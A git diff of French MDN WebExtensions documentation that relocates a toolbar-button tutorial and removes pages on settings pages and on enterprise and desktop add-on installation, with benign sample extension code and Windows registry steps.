  • Les timers initialisés parsetTimeout() sont à présent bloqués par les fenêtres modales suite à la correction du bug 52209. Vous pouvez utiliser nsITimer à la place.
    • -
  • Si votre extension doit permettre à une source non sûre (par exemple un site web) d'accéder au chrome de l'extension, vous devrez utiliser le nouveau paramètre contentaccessible.
    • -
  • FireFox 3.6 est sensible aux accents dans les pages XUL ! Il faut donc soigneusement enlever toute ponctuation, même dans les commentaires.
    • -
diff --git a/files/fr/mozilla/add-ons/webextensions/add_a_button_to_the_toolbar/index.html b/files/fr/mozilla/add-ons/webextensions/add_a_button_to_the_toolbar/index.html new file mode 100644 index 0000000000..5472013ca7 --- /dev/null +++ b/files/fr/mozilla/add-ons/webextensions/add_a_button_to_the_toolbar/index.html @@ -0,0 +1,224 @@ +--- +title: Ajouter un bouton à la barre d'outils +slug: Mozilla/Add-ons/WebExtensions/Ajouter_un_bouton_a_la_barre_d_outils +tags: + - WebExtensions +translation_of: Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar +--- +
{{AddonSidebar}}
+ +

Les boutons de la barre d’outils sont l’un des principaux composants UI disponibles aux WebExtensions. Les boutons de la barre d’outils sont présents dans la barre d’outils principale du navigateur et contiennent une icône. Lorsque l’utilisateur clique sur l’icône, une des deux choses peut arriver :

+ +
    +
  • Si vous avez spécifié une fenêtre contextuelle pour l’icône, la fenêtre contextuelle s’affiche. Les fenêtres contextuelles sont des boîtes de dialogue spécifiées à l’aide de HTML, CSS et JavaScript.
    • +
  • Si vous n’avez pas spécifié une fenêtre contextuelle, un événement de clic est généré, que vous pouvez écouter dans votre code et effectuer un autre type d’action en réponse
    • +
+ +

Dans WebExtensions, ces types de boutons s’appellent « actions du navigateur » et sont configurés de la manière suivante :

+ +
    +
  • La clé de manifest.json browser_action permet de définir le bouton.
    • +
  • L’API JavaScript browserAction est utilisé pour écouter les clics modifier le bouton ou effectuer des actions via votre code.
    • +
+ +

Un bouton simple

+ +

Dans cette section, nous créerons une WebExtension qui ajoute un bouton à la barre d’outils. Lorsque l’utilisateur clique sur le bouton, nous ouvrirons https ://developer.mozilla.org dans un nouveau onglet.

+ +

Tout d’abord, créez un nouveau dossier, « bouton », et créez un fichier appelé « manifest.json » à l’intérieur avec le contenu suivant :

+ +
{
+
+  "description": "Demonstrating toolbar buttons",
+  "manifest_version": 2,
+  "name": "button-demo",
+  "version": "1.0",
+
+  "background": {
+    "scripts": ["background.js"]
+  },
+
+  "browser_action": {
+    "default_icon": {
+      "16": "icons/page-16.png",
+      "32": "icons/page-32.png"
+    }
+  }
+
+}
+ +

Cela spécifie que nous aurons un script en arrière‐plan nommé « background.js », et une action du navigateur (bouton) et une action du navigateur (bouton) dont les icônes vont vivre dans le répertoire « icônes ».

+ +
+
Ces icônes proviennent des bits ! icônes créées parRecep Kütük.
+
+ +

Ensuite, créez un dossier « icons » dans le dossier « buttons » et enregistrez les deux icônes ci‐dessous :

+ +
    +
  • « page‐16.png » ()
    • +
  • « page‐32.png » ().
    • +
+ +
+ +

Nous avons deux icônes que nous pouvons utiliser, la plus grande dans les écrans haute densité. Le navigateur prend en charge la sélection de la meilleure icône pour l’affichage courrant.

+ +

Ensuite, créez « background.js » dans le répertoire racine de l’add‐on, et donnez‐lui le contenu suivant :

+ +
function openPage() {
+  browser.tabs.create({
+    url: "https://developer.mozilla.org"
+  });
+}
+
+browser.browserAction.onClicked.addListener(openPage);
+ +

Cela écoute l’événement de clic de l’action du navigateur ; Lorsque l’événement se déclenche, la fonction openPage() est exécuté, ce qui ouvre la page spécifiée à l’aide de l’API des onglets.

+ +

A ce point, l’extension complète devrait ressembler à ceci :

+ +
button/
+    icons/
+        page-16.png
+        page-32.png
+    background.js
+    manifest.json
+ +

Maintenant installer la WebExtension et cliquez sur le bouton :

+ +

{{EmbedYouTube("kwwTowgT‐Ys")}}

+ +

Ajout d’une fenêtre contextuelle

+ +

Essayons d’ajouter une fenêtre contextuelle au bouton. Remplacez manifest.json par ceci :

+ +
{
+
+  "description": "Demonstrating toolbar buttons",
+  "manifest_version": 2,
+  "name": "button-demo",
+  "version": "1.0",
+
+  "browser_action": {
+    "browser_style": true,
+    "default_popup": "popup/choose_page.html",
+    "default_icon": {
+      "16": "icons/page-16.png",
+      "32": "icons/page-32.png"
+    }
+  }
+
+}
+ +

Nous avons fait trois changements par rapport à l’original :

+ +
    +
  • Nous ne parlons plus de « background.js », car maintenant nous allons gérer la logique de l’extension dans le script de la fenêtre contextuelle (vous êtes autorisé à utiliser background.js ainsi qu’un popup, c’est juste que nous n’en avons pas besoin dans ce cas).
    • +
  • +

    Nous avons ajouté "browser_style":true, ce qui aidera le style de notre popup à ressembler davantage à une partie du navigateur.

    +
    • +
  • Enfin, nous avons ajouté "default_popup": "popup/choose_page.html", qui indique au navigateur que l’action du navigateur va maintenant afficher une fenêtre contextuelle lorsqu’elle est cliquée, dont le document se trouve dans  « popup / choose_page.html ».
    • +
+ +

Donc maintenant nous devons créer cette fenêtre contextuelle. Créez un répertoire appelé « popup » puis créez un fichier appelé « choose_page.html » à l’intérieur. Donnez‐lui les contenus suivants :

+ +
<!DOCTYPE html>
+
+<html>
+  <head>
+    <meta charset="utf-8">
+    <link rel="stylesheet" href="choose_page.css"/>
+  </head>
+
+<body>
+  <div class="page-choice">developer.mozilla.org</div>
+  <div class="page-choice">support.mozilla.org</div>
+  <div class="page-choice">addons.mozilla.org</div>
+  <script src="choose_page.js"></script>
+</body>
+
+</html>
+ +

Vous pouvez voir qu’il s’agit d’une page HTML normale contenant trois éléments {{htmlelement ("div")}}, chacun avec le nom d’un site Mozilla à l’intérieur. Il comprend également un fichier CSS et un fichier JavaScript, que nous ajouterons ensuite.

+ +

Créez un fichier appelé « choose_page.css » dans le répertoire « popup » et donnez‐lui ce contenu :

+ +
html, body {
+  width: 300px;
+}
+
+.page-choice {
+  width: 100%;
+  padding: 4px;
+  font-size: 1.5em;
+  text-align: center;
+  cursor: pointer;
+}
+
+.page-choice:hover {
+  background-color: #CFF2F2;
+}
+ +

C'est juste un peu d’habillage pour notre popup.

+ +

Ensuite, créez un fichier « choose_page.js » dans le répertoire « popup » et donnez‐le à ces contenus :

+ +
document.addEventListener("click", function(e) {
+  if (!e.target.classList.contains("page-choice")) {
+    return;
+  }
+
+  var chosenPage = "https://" + e.target.textContent;
+  browser.tabs.create({
+    url: chosenPage
+  });
+
+});
+ +

Dans notre JavaScript, nous écoutons les clics sur les choix contextuels. Nous vérifions d’abord si le clic a atterri sur l’un des choix de la page ; Sinon, nous ne faisons rien d’autre. Si le clic atterrit sur un choix de page, nous construisons une URL à partir de celui‐ci, et ouvrons un nouvel onglet contenant la page correspondante. Notez que nous pouvons utiliser les API WebExtension dans les scripts contextuels, tout comme nous le pouvons dans les scripts en arrière‐plan.

+ +

La structure finale de l’add‐on devrait ressembler à ceci :

+ +
button/
+    icons/
+        page-16.png
+        page-32.png
+    popup/
+        choose_page.css
+        choose_page.html
+        choose_page.js
+    manifest.json
+ +

Maintenant, rechargez l’extension, cliquez de nouveau sur le bouton et essayez de cliquer sur les choix dans la fenêtre contextuelle :

+ +

{{EmbedYouTube("QPEh1L1xq0Y")}}

+ +

Actions de page

+ +

Les actions de page sont comme les actions du navigateur, mais qui ne sont pertinentes que pour les pages particulières, plutôt que sur le navigateur dans son ensemble.

+ +

Alors que les actions du navigateur sont toujours affichées, les actions de la page ne sont affichées que dans les onglets où elles sont pertinentes. Les boutons d’action de la page sont affichés dans la barre d’URL, plutôt que dans la barre d’outils du navigateur.

+ +

Pour en savoir plus

+ + diff --git a/files/fr/mozilla/add-ons/webextensions/ajouter_un_bouton_a_la_barre_d_outils/index.html b/files/fr/mozilla/add-ons/webextensions/ajouter_un_bouton_a_la_barre_d_outils/index.html deleted file mode 100644 index 5472013ca7..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/ajouter_un_bouton_a_la_barre_d_outils/index.html +++ /dev/null @@ -1,224 +0,0 @@ ---- -title: Ajouter un bouton à la barre d'outils -slug: Mozilla/Add-ons/WebExtensions/Ajouter_un_bouton_a_la_barre_d_outils -tags: - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar ---- -
{{AddonSidebar}}
- -

Les boutons de la barre d’outils sont l’un des principaux composants UI disponibles aux WebExtensions. Les boutons de la barre d’outils sont présents dans la barre d’outils principale du navigateur et contiennent une icône. Lorsque l’utilisateur clique sur l’icône, une des deux choses peut arriver :

- -
    -
  • Si vous avez spécifié une fenêtre contextuelle pour l’icône, la fenêtre contextuelle s’affiche. Les fenêtres contextuelles sont des boîtes de dialogue spécifiées à l’aide de HTML, CSS et JavaScript.
    • -
  • Si vous n’avez pas spécifié une fenêtre contextuelle, un événement de clic est généré, que vous pouvez écouter dans votre code et effectuer un autre type d’action en réponse
    • -
- -

Dans WebExtensions, ces types de boutons s’appellent « actions du navigateur » et sont configurés de la manière suivante :

- -
    -
  • La clé de manifest.json browser_action permet de définir le bouton.
    • -
  • L’API JavaScript browserAction est utilisé pour écouter les clics modifier le bouton ou effectuer des actions via votre code.
    • -
- -

Un bouton simple

- -

Dans cette section, nous créerons une WebExtension qui ajoute un bouton à la barre d’outils. Lorsque l’utilisateur clique sur le bouton, nous ouvrirons https ://developer.mozilla.org dans un nouveau onglet.

- -

Tout d’abord, créez un nouveau dossier, « bouton », et créez un fichier appelé « manifest.json » à l’intérieur avec le contenu suivant :

- -
{
-
-  "description": "Demonstrating toolbar buttons",
-  "manifest_version": 2,
-  "name": "button-demo",
-  "version": "1.0",
-
-  "background": {
-    "scripts": ["background.js"]
-  },
-
-  "browser_action": {
-    "default_icon": {
-      "16": "icons/page-16.png",
-      "32": "icons/page-32.png"
-    }
-  }
-
-}
- -

Cela spécifie que nous aurons un script en arrière‐plan nommé « background.js », et une action du navigateur (bouton) et une action du navigateur (bouton) dont les icônes vont vivre dans le répertoire « icônes ».

- -
-
Ces icônes proviennent des bits ! icônes créées parRecep Kütük.
-
- -

Ensuite, créez un dossier « icons » dans le dossier « buttons » et enregistrez les deux icônes ci‐dessous :

- -
    -
  • « page‐16.png » ()
    • -
  • « page‐32.png » ().
    • -
- -
- -

Nous avons deux icônes que nous pouvons utiliser, la plus grande dans les écrans haute densité. Le navigateur prend en charge la sélection de la meilleure icône pour l’affichage courrant.

- -

Ensuite, créez « background.js » dans le répertoire racine de l’add‐on, et donnez‐lui le contenu suivant :

- -
function openPage() {
-  browser.tabs.create({
-    url: "https://developer.mozilla.org"
-  });
-}
-
-browser.browserAction.onClicked.addListener(openPage);
- -

Cela écoute l’événement de clic de l’action du navigateur ; Lorsque l’événement se déclenche, la fonction openPage() est exécuté, ce qui ouvre la page spécifiée à l’aide de l’API des onglets.

- -

A ce point, l’extension complète devrait ressembler à ceci :

- -
button/
-    icons/
-        page-16.png
-        page-32.png
-    background.js
-    manifest.json
- -

Maintenant installer la WebExtension et cliquez sur le bouton :

- -

{{EmbedYouTube("kwwTowgT‐Ys")}}

- -

Ajout d’une fenêtre contextuelle

- -

Essayons d’ajouter une fenêtre contextuelle au bouton. Remplacez manifest.json par ceci :

- -
{
-
-  "description": "Demonstrating toolbar buttons",
-  "manifest_version": 2,
-  "name": "button-demo",
-  "version": "1.0",
-
-  "browser_action": {
-    "browser_style": true,
-    "default_popup": "popup/choose_page.html",
-    "default_icon": {
-      "16": "icons/page-16.png",
-      "32": "icons/page-32.png"
-    }
-  }
-
-}
- -

Nous avons fait trois changements par rapport à l’original :

- -
    -
  • Nous ne parlons plus de « background.js », car maintenant nous allons gérer la logique de l’extension dans le script de la fenêtre contextuelle (vous êtes autorisé à utiliser background.js ainsi qu’un popup, c’est juste que nous n’en avons pas besoin dans ce cas).
    • -
  • -

    Nous avons ajouté "browser_style":true, ce qui aidera le style de notre popup à ressembler davantage à une partie du navigateur.

    -
    • -
  • Enfin, nous avons ajouté "default_popup": "popup/choose_page.html", qui indique au navigateur que l’action du navigateur va maintenant afficher une fenêtre contextuelle lorsqu’elle est cliquée, dont le document se trouve dans  « popup / choose_page.html ».
    • -
- -

Donc maintenant nous devons créer cette fenêtre contextuelle. Créez un répertoire appelé « popup » puis créez un fichier appelé « choose_page.html » à l’intérieur. Donnez‐lui les contenus suivants :

- -
<!DOCTYPE html>
-
-<html>
-  <head>
-    <meta charset="utf-8">
-    <link rel="stylesheet" href="choose_page.css"/>
-  </head>
-
-<body>
-  <div class="page-choice">developer.mozilla.org</div>
-  <div class="page-choice">support.mozilla.org</div>
-  <div class="page-choice">addons.mozilla.org</div>
-  <script src="choose_page.js"></script>
-</body>
-
-</html>
- -

Vous pouvez voir qu’il s’agit d’une page HTML normale contenant trois éléments {{htmlelement ("div")}}, chacun avec le nom d’un site Mozilla à l’intérieur. Il comprend également un fichier CSS et un fichier JavaScript, que nous ajouterons ensuite.

- -

Créez un fichier appelé « choose_page.css » dans le répertoire « popup » et donnez‐lui ce contenu :

- -
html, body {
-  width: 300px;
-}
-
-.page-choice {
-  width: 100%;
-  padding: 4px;
-  font-size: 1.5em;
-  text-align: center;
-  cursor: pointer;
-}
-
-.page-choice:hover {
-  background-color: #CFF2F2;
-}
- -

C'est juste un peu d’habillage pour notre popup.

- -

Ensuite, créez un fichier « choose_page.js » dans le répertoire « popup » et donnez‐le à ces contenus :

- -
document.addEventListener("click", function(e) {
-  if (!e.target.classList.contains("page-choice")) {
-    return;
-  }
-
-  var chosenPage = "https://" + e.target.textContent;
-  browser.tabs.create({
-    url: chosenPage
-  });
-
-});
- -

Dans notre JavaScript, nous écoutons les clics sur les choix contextuels. Nous vérifions d’abord si le clic a atterri sur l’un des choix de la page ; Sinon, nous ne faisons rien d’autre. Si le clic atterrit sur un choix de page, nous construisons une URL à partir de celui‐ci, et ouvrons un nouvel onglet contenant la page correspondante. Notez que nous pouvons utiliser les API WebExtension dans les scripts contextuels, tout comme nous le pouvons dans les scripts en arrière‐plan.

- -

La structure finale de l’add‐on devrait ressembler à ceci :

- -
button/
-    icons/
-        page-16.png
-        page-32.png
-    popup/
-        choose_page.css
-        choose_page.html
-        choose_page.js
-    manifest.json
- -

Maintenant, rechargez l’extension, cliquez de nouveau sur le bouton et essayez de cliquer sur les choix dans la fenêtre contextuelle :

- -

{{EmbedYouTube("QPEh1L1xq0Y")}}

- -

Actions de page

- -

Les actions de page sont comme les actions du navigateur, mais qui ne sont pertinentes que pour les pages particulières, plutôt que sur le navigateur dans son ensemble.

- -

Alors que les actions du navigateur sont toujours affichées, les actions de la page ne sont affichées que dans les onglets où elles sont pertinentes. Les boutons d’action de la page sont affichés dans la barre d’URL, plutôt que dans la barre d’outils du navigateur.

- -

Pour en savoir plus

- - diff --git "a/files/fr/mozilla/add-ons/webextensions/ajouter_une_page_de_param\303\250tres/index.html" "b/files/fr/mozilla/add-ons/webextensions/ajouter_une_page_de_param\303\250tres/index.html" deleted file mode 100644 index 9635785e5d..0000000000 --- "a/files/fr/mozilla/add-ons/webextensions/ajouter_une_page_de_param\303\250tres/index.html" +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: Ajouter une page de paramètres -slug: Mozilla/Add-ons/WebExtensions/Ajouter_une_page_de_paramètres -tags: - - Paramètres - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Implement_a_settings_page ---- -
{{AddonSidebar}}
- -

Une page de paramètres donne aux utilisateurs la possiblité de voir et de changer les paramètres (parfois aussi appelée "préférences" ou "options") de l'extension.

- -

Avec les WebExtensions, les paramètres sont généralement stockés en utilisant l'API storage. L'ajout d'une page de paramètres se fait en trois étapes :

- -
    -
  • Écrire un fichier HTML qui affiche les paramètres et permet à l'utilisateur de les changer.
    • -
  • Écrire un script, inclus depuis le fichier HTML, qui alimente les paramètres depuis le stockage et met à jour les paramètres stockés quand l'utilisateur les change.
    • -
  • Renseigner le chemin du fichier HTML come clé de options_ui dans manifest.json. Ainsi, le document HTML sera affiché dans le gestionnaire d'extension, aux cotés des nom et description de l'extension.
    • -
- -
-

Vous pouvez aussi ouvrir cette page automatiquement en utilisant la fonction runtime.openOptionsPage().

-
- -

Une WebExtension simple

- -

Tout d'abord, nous allons écrire une extension qui ajoute une bordure bleue à chaque page visitée par l'utilisateur.

- -

Créez un nouveau dossier nommé "settings", dans lequel vous créez un fichier appelé "manifest.json" ayant pour contenu :

- -
{
-
-  "manifest_version": 2,
-  "name": "Settings example",
-  "version": "1.0",
-
-  "content_scripts": [
-    {
-      "matches": ["<all_urls>"],
-      "js": ["borderify.js"]
-    }
-  ]
-
-}
- -

Les instructions de l'extension charge au navigateur un script de contenu nommé "borderify.js" dans chaque page que l'utilisateur visite.

- -

Ensuite, créez un fichier nomé "borderify.js" dans le dossier "paramètres", et remplissez le comme suit :

- -
document.body.style.border = "10px solid blue";
- -

Ça ajoute une bordure bleue à la page.

- -

Maintenant, installez la WebExtension et testez la — ouvrez la page que vous voulez :

- -

{{EmbedYouTube("E-WUhihF8fw")}}

- -

Ajouter des paramètres

- -

Maintenant, créez une page de paramètres pour autoriser l'utilisateur à définire la couleur de la bordure.

- -

D'abord, mettez à jour le contenu de "manifest.json" avec ceci :

- -
{
-
-  "manifest_version": 2,
-  "name": "Settings example",
-  "version": "1.0",
-
-  "content_scripts": [
-    {
-      "matches": ["<all_urls>"],
-      "js": ["borderify.js"]
-    }
-  ],
-
-  "options_ui": {
-    "page": "options.html"
-  },
-
-  "permissions": ["storage"],
-
-  "applications": {
-    "gecko": {
-      "id": "addon@example.com",
-    }
-  }
-
-}
-
- -

Vous avez ajoutez trois nouvelles clés :

- -
    -
  • options_ui: Cela définit un document HTML comme étant la page de paramètres (aussi appelée page d'options) pour cette extension.
    • -
  • permissions: Vous allez utilisez l'API storage pour stocker les paramètres, vous devez donc demander la permission d'utiliser cette API.
    • -
  • applications: Vous devez inclure un identifiant d'extension afin d'enregistrer et de récupérer les paramètres du stockage synchronisé.
    • -
- -

Ensuite, puisque vous avez promis de fournir "options.html", créons-le. Créez un fichier avec ce nom dans le répertoire "settings", et donnez-lui le contenu suivant :

- -
<!DOCTYPE html>
-
-<html>
-  <head>
-    <meta charset="utf-8">
-  </head>
-
-  <body>
-
-    <form>
-        <label>Border color<input type="text" id="color" ></label>
-        <button type="submit">Save</button>
-    </form>
-
-    <script src="options.js"></script>
-
-  </body>
-
-</html>
-
- -

Cela définit un {{htmlelement("form")}} avec un label de texte {{htmlelement("input")}} et un {{htmlelement("button")}} de type "submit". Ça inclus également un script appelé "options.js".

- -

Créez "options.js", lui-aussi dans le dossier "settings", et remplissez le comme ceci :

- -
function saveOptions(e) {
-  e.preventDefault();
-  browser.storage.sync.set({
-    color: document.querySelector("#color").value
-  });
-}
-
-function restoreOptions() {
-
-  function setCurrentChoice(result) {
-    document.querySelector("#color").value = result.color || "blue";
-  }
-
-  function onError(error) {
-    console.log(`Error: ${error}`);
-  }
-
-  var getting = browser.storage.sync.get("color");
-  getting.then(setCurrentChoice, onError);
-}
-
-document.addEventListener("DOMContentLoaded", restoreOptions);
-document.querySelector("form").addEventListener("submit", saveOptions);
-
- -

Cela fait deux choses :

- -
    -
  • Quand le document a été chargé, le script attribue une valeur à "color" depuis le stockage grâce à storage.sync.get(). Si la valeur n'est pas renseignée, il utilise par défaut "blue". Ceci récupère les valeurs de la zone de stockage de synchronisation.
    • -
  • Quand l'utilisateur valide le formulaire en cliquant sur "Save", le script stocke la valeur de textbox en utilisant storage.sync.set(). Ceci permet d'enregistrer la valeur dans la zone de stockage de synchronisation.
    • -
- -

Vous pouvez stocker les valeurs des paramètres dans le stockage local à la place si vous pensez que le stockage local est préférable pour votre extension.

- -
-

Notez que l'implémentation de storage.sync dans Firefox repose sur l'ID du module complémentaire. Si vous utilisez storage.sync,  vous devez définir un ID pour votre extension à l'aide de la clé manifest.json des applications  comme indiqué dans l'exemple de manifeste ci-dessus.

-
- -

Finalement, mettez à jour "borderify.js" pour lire la couleur de la bordure depuis le stockage :

- -
-

A cause d'un bug dans browser.storage.local.get() dans Firefox pour les versions précédant la 52, le code qui suit ne fonctionnera pas. Pour le faire fonctionner pour les versions de Firefox avant la 52, les deux occurrences d'item.color dans onGot() doivent être changer pour item[0].color.

-
- -
 function onError(error) {
-  console.log(`Error: ${error}`);
-}
-
-function onGot(item) {
-  var color = "blue";
-  if (item.color) {
-    color = item.color;
-  }
-  document.body.style.border = "10px solid " + color;
-}
-
-var getting = browser.storage.sync.get("color");
-getting.then(onGot, onError);
-
- -

A ce moment, l'extension complète devrait ressembler à ceci :

- -
settings/
-    borderify.js
-    manifest.json
-    options.html
-    options.js
- -

Maintenant :

- -
    -
  • Rechargez la WebExtension
    • -
  • Chargez un page web
    • -
  • Ouvrez la page de paramètres et changez la couleur de la bordure
    • -
  • Rechargez la page pour voir la différence
    • -
- -

Dans Firefox vous pouvez accéder à la page des paramètres en visitant about:addons et en cliquant le bouton "Preferences" situé à coté de l'extension.

- -

{{EmbedYouTube("ECt9cbWh1qs")}}

- -

Pour aller plus loin

- -
    -
  • options_ui documentation de référence sur les clés de manifest
    • -
  • storage documentation de référence sur l'API
    • -
  • Ouvrez la page de paramètres directement depuis votre extension en utilisant l'API runtime.openOptionsPage()
    • -
  • Exemple de page de paramètres : - -
    • -
diff --git a/files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/add-ons_for_desktop_apps/index.html b/files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/add-ons_for_desktop_apps/index.html deleted file mode 100644 index 270308150e..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/add-ons_for_desktop_apps/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Extensions pour applications de bureau -slug: >- - Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_for_desktop_apps -tags: - - Add-ons - - Desktop - - Guide - - Installation - - WebExtensions -translation_of: Mozilla/Add-ons/WebExtensions/Distribution_options/Add-ons_for_desktop_apps ---- -
{{AddonSidebar()}}
- -

Si vous avez développé un module complémentaire à une application de bureau, vous pouvez installer le module complémentaire de plusieurs façons :

- -
    -
  • Dirigez l'utilisateur à installer à partir de addons.mozilla.org (AMO) en offrant un lien.
    • -
  • Chargement latéral.
    • -
  • En utilisant le registre Windows.
    • -
- -

Parmi ces options, il est recommandé d'indiquer à l'utilisateur d'installer à partir d'AMO en proposant un lien. Les raisons de recommander cette option sont les suivantes :

- -
    -
  • Cela évite tout problème avec le processus d'installation. l'utilisateur n'obtiendra pas de messages interstitiels pendant l'installation du module complémentaire, trouvera le module complémentaire installé mais sera désactivé ou constatera que le module complémentaire n'a pas été installé.
    • -
  • Si vous mettez à jour le module complémentaire, la nouvelle version sera automatiquement installée, une fois que vous l'aurez téléchargé sur AMO.
    • -
- -

En revanche, le chargement de fichiers à l'aide des dossiers d'extension standard ou du registre Windows nécessite que votre application de bureau installe toute mise à jour du module complémentaire. En outre, en fonction des paramètres par défaut de Firefox, le processus d'installation présentera des avertissements à l'utilisateur (message interstitiel) ou installera le module en mode silencieux, mais le désactivera. Le pire des cas est que l'installation échouera silencieusement si Firefox est configuré pour désactiver l'installation automatique. Vous pouvez mettre à jour la configuration de Firefox pour éviter ces problèmes, mais ce n'est pas recommandé.

diff --git a/files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/add-ons_in_the_enterprise/index.html b/files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/add-ons_in_the_enterprise/index.html deleted file mode 100644 index 4e5d88d0d7..0000000000 --- a/files/fr/mozilla/add-ons/webextensions/alternative_distribution_options/add-ons_in_the_enterprise/index.html +++ /dev/null @@ -1,166 +0,0 @@ ---- -title: Les Add-ons en entreprise -slug: >- - Mozilla/Add-ons/WebExtensions/Alternative_distribution_options/Add-ons_in_the_enterprise -tags: - - Add-ons - - Guide - - Installation -translation_of: Mozilla/Add-ons/WebExtensions/Distribution_options/Add-ons_in_the_enterprise ---- -
{{AddonSidebar()}}
- -

En tant qu'administrateur informatique d'entreprise, vous souhaiterez peut-être installer des modules complémentaires automatiquement pour vos utilisateurs. Cette page présente les options.

- -

Extensions signées et non signées

- -

Depuis Firefox 43, tous les modules complémentaires doivent être signés avant de pouvoir être installés dans les versions standard ou bêta de Firefox. Les modules non signés peuvent être installés dans les versions Developer Edition, Nightly, et ESR de firefox, après avoir basculé la préférence xpinstall.signatures.required dans about:config.

- -

Si vous souhaitez installer des modules complémentaires non signés, le déploiement d'une version ESR de Firefox est l'approche recommandée. Une fois cela fait, les add-ons non signés peuvent être installés en utilisant n'importe quelle méthode, y compris l'ouverture du fichier add-on à partir d'une page Web.

- -

L'approche alternative et recommandée, est d'utiliser l'option pour les add-ons non listés sur addons.mozilla.org (AMO). Cette option signifie que vous pouvez obtenir un module complémentaire signé sans qu'il soit répertorié dans le répertoire des modules complémentaires publics. Cette fonctionnalité fournit un module signé immédiatement. Ce module signé peut ensuite être installé à partir d'une page Web derrière le pare-feu, ou installé en utilisant l'une des options décrites ici.

- -

Chargement latéral

- -

Vous pouvez charger un module complémentaire à l'aide de l'un des dossiers d'extension standard, comme décrit dans Installation à l'aide de dossiers d'extension standard.

- -

Installation à l'aide du registre Windows

- -

Cette section explique comment installer des modules complémentaires dans Firefox en utilisant le registre Windows.

- -
Avant Firefox 62, il était possible de charger des extensions décompressées en faisant pointer la clé de registre Windows sur un répertoire contenant une extension non empaquetée. -

À partir de Firefox 62, cela n'est plus possible et la clé doit pointer vers un fichier XPI empaqueté, comme décrit dans cette section.

-
- -
-

Il est prudent de modifier les clés de registre pendant que Firefox est en cours d'exécution.

-
- -
    -
  1. Assurez-vous que le module complémentaire possède un ID complémentaire, en incluant ce qui suit dans son fichier manifest.json, en remplaçant your-add-on-name@your-domain.com with par un ID approprié pour votre module complémentaire : - - 
    "applications": {
-   "gecko": {
-     "id": "your-add-on-name@your-domain.com"
-   }
-  }
    - Un identifiant de style d'adresse e-mail est recommandé.
    2. -
  2. Signez votre module dans AMO en utilisant l'option non listée. Pour plus de détails, voir Signature et distribution de votre module complémentaire.
    3. -
  3. Téléchargez le fichier XPI signé et assurez-vous que le nom de fichier est l'ID du module plus l'extension .xpi.  Par exemple, c:/webext/borderify@example.com.xpi
    4. -
  4. Ouvrez Regedit et ajoutez les clés comme suit : -
      -
    • Ajoutez à tous les utilisateurs de l'ordinateur les clés de registre suivantes : - 
      HKEY_LOCAL_MACHINE\Software\Mozilla\Firefox\Extensions
      - -

      ou

      - - 
      HKEY_LOCAL_MACHINE\Software\Wow6432Node\Mozilla\Firefox\Extensions
      - -
      -

      HKEY_LOCAL_MACHINE\Software\Mozilla\Firefox\Extensions n'est pas disponible lors de l'exécution de Firefox 32 bits sur une machine 64 bits, vous ne pouvez installer que pour tous les utilisateurs utilisant la clé  Wow6432Node.

      -
      -
      • -
    • Pour l'utilisateur actuel, ajoutez à la clé de registre suivante : - 
      HKEY_CURRENT_USER\Software\Mozilla\Firefox\Extensions
      -
      • -
    -
    5. -
  5. Créez une nouvelle valeur de chaîne. Entrée de Registre dont le nom est identique à l'ID du module complémentaire, par exemple, borderify@example.com,et une valeur égale à l'emplacement où le module complémentaire est stocké, par exemple, c:/webext/borderify@example.com.xpi.
    6. -
  6. Redémarrez Firefox. Le module complémentaire est détecté, mais l'utilisateur peut se voir présenter un interstitiel ou doit activer le module complémentaire dans le module complémentaire avant de pouvoir l'utiliser. Voir les paramètres de Firefox.)
    7. -
- -

Si le même add-on apparaît sous HKEY_CURRENT_USER et HKEY_LOCAL_MACHINE, l'instance sous HKEY_CURRENT_USER sera utilisée. Si le même module complémentaire apparaît dans le répertoire de profil de l'utilisateur (par exemple, s'il l'a déjà installé manuellement), cette version aura la priorité sur toutes les instances trouvées dans le Registre.

- -

Pour supprimer un module installé à l'aide du registre Windows, supprimez simplement l'entrée du Registre. Après la suppression de l'entrée du registre, Firefox détectera le changement la prochaine fois qu'il sera lancé. Il est prudent de modifier les clés de registre pendant que Firefox est en cours d'exécution.

- -

Si vous installez en utilisant le registre de Windows, Firefox ne mettra pas automatiquement à jour votre module complémentaire. Vous devrez mettre au point le module complémentaire en utilisant n'importe quel processus d'installation externe à Firefox.

- -

Les paramètres de Firefox

- -

Deux paramètres affectent l'utilisation d'options d'installation alternatives. La préférence extensions.autoDisableScopes détermine si les modules complémentaires sont installés automatiquement ou après confirmation de l'utilisateur. La préférence extensions.enabledScopes est utilisée pour désactiver l'installation de la plupart des emplacements. En plus de ces options, la méthode de définition de ces préférences par programme est discutée.

- -

Contrôler l'installation automatique

- -

Les téléchargements standards de Firefox sont configurés pour que les sideloads utilisant le dossier extensions standard ou le registre Windows, ne s'installent pas automatiquement. Selon la version de Firefox :

- -
    -
  • l'utilisateur a affiché un avertissement interstitiel :
    - An interstitial warning about the installation of the add-on
    • -
  • le module complémentaire est installé mais désactivé, et l'utilisateur doit l'activer depuis le gestionnaire de modules complémentaires :
    - An add-on is installed but disabled
    • -
- -

L'utilisation des installations désactivées interstitielles et silencieuses varie selon les versions de Firefox, par exemple, la version 54 utilise le message interstitiel..

- -

La disponibilité de l'installation automatique est contrôlée par la préférence et le comportement extensions.autoDisableScopes définis par les valeurs suivantes :

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ValeurInstallation du champ
1 (or '0b0001')Le profil de l'utilisateur actuel.
2 (or '0b0010')Tous les profils de l'utilisateur connecté
4 (or '0b0100')Installé et détenu par Firefox.
8 (or '0b1000')Installé pour tous les utilisateurs de l'ordinateur.
15 (or '0b1111')La combinaison de tous les champs d'application.
-
- -

